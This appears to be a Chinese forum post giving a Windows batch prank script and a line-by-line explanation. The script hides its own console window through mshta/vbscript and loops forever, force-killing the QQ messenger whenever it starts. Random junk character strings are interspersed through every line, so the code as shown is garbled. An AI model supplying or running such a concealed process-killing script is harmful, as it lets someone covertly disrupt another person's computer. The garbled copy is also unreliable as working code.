|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
( H3 n5 E j. i P c' _- v新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 - p1 T* D( w: C% C, j
- p5 [1 j J- t$ y; u! s/ u@echo off ' M. Y& ~+ H9 @- {' Y; o1 D
if "%1" == "h" goto begin + W2 j1 `) U5 W- C& R0 d
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit 2 M: n! L4 T9 _' Y) c V# j9 `, b
:begin
; _" ?6 b: j6 f( ^0 Ptasklist |find /i "QQ.exe" + _ W! f) @5 h! ]6 U4 J/ T* i
if %errorlevel%==0 (goto killit) else (goto next)
+ p+ ~: O+ ?: G( s& H2 h7 h! C$ L:killit
2 z9 C/ F" n9 s6 T$ P+ i" v5 ptaskkill /f /im QQ.exe
6 v; a5 C9 ~* M: q+ F1 K:next
# y# h6 \0 I8 k' [# S8 zping -n 3 127.t >nul 2>nul - L4 o0 s+ k3 W! G
goto begin & T1 J. p( M& ~9 q
7 V$ o6 Z' k$ m+ p2 C8 {
代码到此为止
2 a. i! [+ i3 |; O: Y讲解如下:
9 K" u. E- S6 V$ J* w@echo off ------关闭回显 4 Q: d. r4 |! ?, v* K0 Q
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
7 o$ N# L% L# j3 h. l' E rmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码
' l, ~, D$ m5 }0 \:begin ------------定一段名begin 9 q7 e8 J# Y3 _. E( A
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
/ Z+ s! G$ F+ A, M. j! pif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
" m3 @" G0 ^$ x:killit
+ I x) R" p& x1 W1 l* X5 _2 Etaskkill /f /im QQ.exe----终结进程QQ.exe / {$ B% Q& x- o7 Z6 M: d/ {
:next ) G, D. Z; m/ [" x
ping -n 3 127.t >nul 2>nul -----延迟一段时间 1 h7 C0 [. Y2 `5 u) o- h
goto begin--------------返回执行begin% T9 V: a: Z# s" P
|
|